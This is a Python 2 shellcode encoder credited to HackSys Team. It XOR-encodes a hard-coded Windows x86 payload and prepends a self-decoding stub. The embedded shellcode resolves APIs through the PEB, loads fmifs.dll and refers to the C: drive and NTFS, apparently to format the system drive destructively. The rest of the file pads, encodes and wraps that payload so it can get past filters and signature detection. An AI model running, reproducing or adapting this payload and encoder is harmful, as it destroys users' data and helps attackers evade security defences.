#!/usr/bin/env python

# XOR Encoder With Decoder Stub
#
# Thanks to: Vivek Ramachandran (SecurityTube.NET)
# Tweaked by: Ashfaq Ansari	(HackSys Team)
#
#   HackSys Team - Panthera
# http://hacksys.vfreaks.com/
#   hacksysteam@hotmail.com

import sys

# Paste the shellcode that you want to encode
c_style_shellcode = ("\xeb\x5a\x31\xc0\x8b\x34\x83\x01\xd6\x53\x50"
"\x31\xdb\x31\xc0\xac\xc1\xc3\x05\x01\xc3\x83"
"\xf8\x00\x75\xf3\xc1\xcb\x05\x39\xcb\x58\x5b"
"\x74\x03\x40\xeb\xde\xc3\x89\xd0\x8b\x40\x3c"
"\x8b\x44\x02\x78\x8d\x04\x02\x50\x8b\x40\x20"
"\x8d\x1c\x02\xe8\xc3\xff\xff\xff\x5b\x8b\x4b"
"\x24\x8d\x0c\x0a\x66\x8b\x04\x41\x25\xff\xff"
"\x00\x00\x8b\x5b\x1c\x8d\x1c\x1a\x8b\x04\x83"
"\x8d\x04\x02\xc3\x31\xc9\x64\xa1\x30\x00\x00"
"\x00\x8b\x40\x0c\x8b\x40\x1c\x8b\x50\x08\x8b"
"\x78\x20\x8b\x00\x3a\x4f\x18\x75\xf3\x68\x64"
"\x5b\x02\xab\x68\x10\xa1\x67\x05\x68\xa7\xd4"
"\x34\x3b\x68\x96\x90\x62\xd7\x68\x87\x8f\x46"
"\xec\x68\x06\xe5\xb0\xcf\x68\xdc\xdd\x1a\x33"
"\x89\xe5\x6a\x07\x59\x31\xff\x83\xf9\x01\x75"
"\x0c\x51\xeb\x1c\x8b\x44\x24\x1c\xff\xd0\x89"
"\xc2\x59\x51\x8b\x4c\xbd\x00\xe8\x6b\xff\xff"
"\xff\x59\x50\x47\xe2\xe0\x89\xe5\xeb\x0f\xe8"
"\xdf\xff\xff\xff\x66\x6d\x69\x66\x73\x2e\x64"
"\x6c\x6c\x00\xeb\x7e\x5e\x6a\x17\x59\x89\xcf"
"\x31\xd2\x52\x52\x6a\x03\x52\x6a\x03\x68\x00"
"\x00\x00\xc0\x56\x8b\x5d\x14\xff\xd3\x50\x83"
"\xec\x04\x31\xd2\x52\x8d\x5c\x24\x04\x53\x52"
"\x52\x52\x52\x68\x20\x00\x09\x00\x50\x8b\x5d"
"\x08\xff\xd3\xff\x74\x24\x04\x8b\x5d\x0c\xff"
"\xd3\x8d\x86\x26\x00\x00\x00\x50\x68\x00\x10"
"\x00\x00\x6a\x01\x8d\x86\x1a\x00\x00\x00\x50"
"\x8d\x86\x10\x00\x00\x00\x50\x6a\x0c\x8d\x46"
"\x08\x50\x8b\x5d\x00\xff\xd3\x68\xc8\x00\x00"
"\x00\x8b\x5d\x04\xff\xd3\x89\xf9\x83\x46\x08"
"\x01\xe2\x8d\x6a\x00\x8b\x5d\x10\xff\xd3\xe8"
"\x7d\xff\xff\xff\x5c\x00\x5c\x00\x2e\x00\x5c"
"\x00\x43\x00\x3a\x00\x5c\x00\x00\x00\x4e\x00"
"\x54\x00\x46\x00\x53\x00\x00\x00\x50\x00\x77"
"\x00\x4e\x00\x65\x00\x44\x00\x00\x00\x55\x89"
"\xe5\x31\xc0\x40\x5d\xc2\x0c\x00")

shellcode = bytearray(c_style_shellcode)

print 'Len of shellcode received: %d' %len(shellcode)

# NULL byte counter
null_count = 0

# Count no. of NULL bytes
for item in shellcode :
		if item == 00 :
			null_count = null_count + 1

print 'Number of NULLs: %d' % null_count

# Add NOPS if shellcode length is not a divisor of 4
if len(shellcode)%4 != 0 :
		shellcode += bytearray("\x90" *(4 - len(shellcode)%4))
		print 'Len of shellcode after NOP addition: %d' %len(shellcode)

xor_shellcode = bytearray('')

# XOR key
# Encode shellcode with this key
# You may customize it as per your need
xor = 0xaa

# XOR encoding begings
for item in shellcode :
		xor_shellcode.append(xor^item)
# XOR encoding ends
		
rev = ''

# Reverse the shellcode
for item in xor_shellcode[::-1] :
		rev += "\\x%02x" %item

final_shellcode = ''

# Adding Decoder Stub
for item in map(''.join, zip(*[iter(rev)]*16)) :
		final_shellcode += "\\x68" + item[-4::] + item[-8:-4:] + item[-12:-8:] + item[-16:-12:]

final_shellcode += "\\x89\\xe6\\x31\\xc9\\xb1"

final_shellcode += "\\x%02x" % (len(shellcode)/4)

final_shellcode += "\\xbb" + 4* ("\\x%02x" % xor)

final_shellcode += "\\x31\\x1e\\x83\\xc6\\x04\\xe2\\xf9\\xff\\xe4"
# Decoder stub added to final shellcode

print 'Length of the encoded shellcode: %d\n' % (len(final_shellcode)/4)

# Print the final XOR encoded shellcode
print final_shellcode